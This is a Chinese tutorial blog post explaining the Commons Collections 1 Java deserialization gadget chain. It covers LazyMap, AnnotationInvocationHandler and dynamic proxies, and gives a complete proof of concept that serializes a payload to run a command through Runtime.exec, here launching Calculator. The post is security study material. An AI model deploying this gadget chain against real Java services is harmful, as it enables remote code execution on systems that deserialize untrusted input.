zoukankan      html  css  js  c++  java
  • 反序列化Gadget学习篇三 CommonCollections1

    上篇提到了CC0.5 使用的是TransformedMap,但是如果阅读ysoserial的源码会发现,CommonCollections1并没有用到TransformedMap,而是LazyMap。

    LazyMap是什么

    LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
    LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。其实这也好理解,LazyMap的作用是“懒加载”,在get找不到值的时候,它会调factory.transform方法去获取一个值:

    // LazyMap.get():
        public Object get(Object key) {
            if (!super.map.containsKey(key)) {
            // 这个factory就是一个Transformer
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    

    看LazyMap的源码可以看到,一般是调用static decorate 方法,传入一个Transformer或者Transformer的factory,初始化一个LazyMap对象并返回:

    这样就得到了一个LazyMap对象,只要调用这个对象的get方法,传入一个不存在的键,就会调用TransformerChain完成命令执行。
    但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,因为在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法。
    所以ysoserial用了另一个路线,AnnotationInvocationHandler类的invoke方法,调用了get:

        public Object invoke(Object var1, Method var2, Object[] var3) {
            String var4 = var2.getName();
            Class[] var5 = var2.getParameterTypes();
            if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
                return this.equalsImpl(var3[0]);
            } else {
                assert var5.length == 0;
    
                if (var4.equals("toString")) {
                    return this.toStringImpl();
                } else if (var4.equals("hashCode")) {
                    return this.hashCodeImpl();
                } else if (var4.equals("annotationType")) {
                    return this.type;
                } else {
                    // get调用点
                    Object var6 = this.memberValues.get(var4);
                    // get调用点
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
    
                        return var6;
                    }
                }
            }
        }
    

    思路变成了 AnnotationInvocationHandler#invoke -> LazyMap#get -> TransformChain -> runtime.exec 下面一个问题就是如何在反序列化的过程中调用到AnnotationInvocationHandler.invoke。ysoserial使用的是Java的代理

    Java动态代理

    一定要理解Java动态代理在干什么,调用流程是什么。
    代理的目的是增强被代理类的功能,但是实际使用的过程中也可以不去调用原来的方法,就实现了类似hook。
    动态代理类必须要实现InvocationHandler接口的invoke方法
    这个过程会用到java.lang.reflect.Proxy,主要是newProxyInstance和getProxyClass方法,一个是实例化一个新代理对象,返回实例,第二个是获取代理对象的java.lang.Class对象。
    关键的一行代码,实例化一个代理类:

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
    

    三个参数,第一个是ClassLoader,第二个是需要代理的对象合集(接口列表),第三个是InvocationHandler接口的对象,里面包含具体的逻辑代码,包括要操作的对象(在实例化时传入),增强的方法,和原来的方法调用(method.invoke())

    public class ExampleInvocationHandler implements InvocationHandler {
        protected Map map;
    
        public ExampleInvocationHandler(Map map){
            this.map = map;
        }
    
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            //判断如果函数名是get,就返回一个Hacked Object
            if (method.getName().compareTo("get") == 0){
                System.out.println("Hook method: +" + method.getName());
                return "Hacked Object";
            }
            //否则正常调用函数
            return method.invoke(this.map, args);
        }
    }
    

    实例化调用,运行可以发现,虽然Map中放入的hello值为world,但是获取到的结果是hacked Object

    public class App {
        public static void main(String[] args) {
            InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
            Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
            proxyMap.put("hello", "world");
            String result = (String)proxyMap.get("hello");
            System.out.println(result);
    
        }
    }
    

    组合

    通过名字也可以看出,AnnotationInvocationHandler本身就是一个InvocationHandler接口的实现类,我们用Proxy对这个对象进行代理,在readObject的时候,只要调用我们用LazyMap.decorate初始化的Map的任意方法,都会执行到AnnotationInvocationHandler#invoke,触发LazyMap#get。
    有了CC0的基础,直接修改代码。首先用LazyMap替换TransformerMap,

    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    

    CC0直接把AnnotationInvocationHandler对象序列化了, 这里我们要对这个对象进行代理

    // handle 是绑定了outermap的AnnotationInvocationHandler
    InvocationHandler handle = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
    
    Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handle);
    

    返回的是一个Map,无法直接序列化,我们的入口还是AnnotationInvocationHandler,因此要再封装一层:

    InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(Retention.class, proxymap);
    

    把handler2序列化发送,即可触发。总的顺序:
    初始化恶意transformerChain -> 绑定到一个Map -> Map绑定到AnnotationInvocationHandler -> 对AnnotationInvocationHandler进行代理得到Map2 -> Map2再绑定到AnnotationInvocationHandler2 ->序列化发送

    ysoserial的其他操作

    yaoserial在返回对象前,还有一个步骤:

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
    

    反射修改transformerChain的iTransformers值为恶意的transformers,也就是在最后一步前才把恶意的transformers设置好。
    原因是在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。

    总结

    这部分分析了LazyMap的作用,构造了poc,但是LazyMap仍然无法解决决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。因此这两个利用链实际上可使用的范围基本相似。在更高版本上需要使用其他的Gadget。

    完整代码:

    package changez.sec.CC1;
    
    import org.aopalliance.intercept.Invocation;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    import org.python.compiler.ProxyMaker;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    
    public class CommonCollections1 {
        public static void main(String[] args) throws Exception{
    
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                // 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // 调用Method.invoke(null) 返回Runtime对象
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                // 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
    
    
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
    
            innerMap.put("value", "xxxx");
            // // 在cc0的基础上修改,先把TransformerMap改成Lazymap
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    
    
    
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handle = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
    
            Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handle);
    
            InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(Retention.class, proxymap);
    
    
    
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(handler2);
            oos.close();
    
            System.out.println(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
            ois.readObject();
    
        }
    }
    
    

    参考链接

    https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization
    https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
    https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class

  • 相关阅读:
    spring mvc 参数校验
    spring-boot 配置jsp
    java 多线程之取消与关闭
    spring transaction 初识
    java 读取环境变量和系统变量的方法
    每天一命令 git checkout
    每天一命令 git stash
    每天一命令 git reset
    log4j2配置详解
    专业名词及解释记录
  • 原文地址:https://www.cnblogs.com/chengez/p/CommonCollections1.html
Copyright © 2011-2022 走看看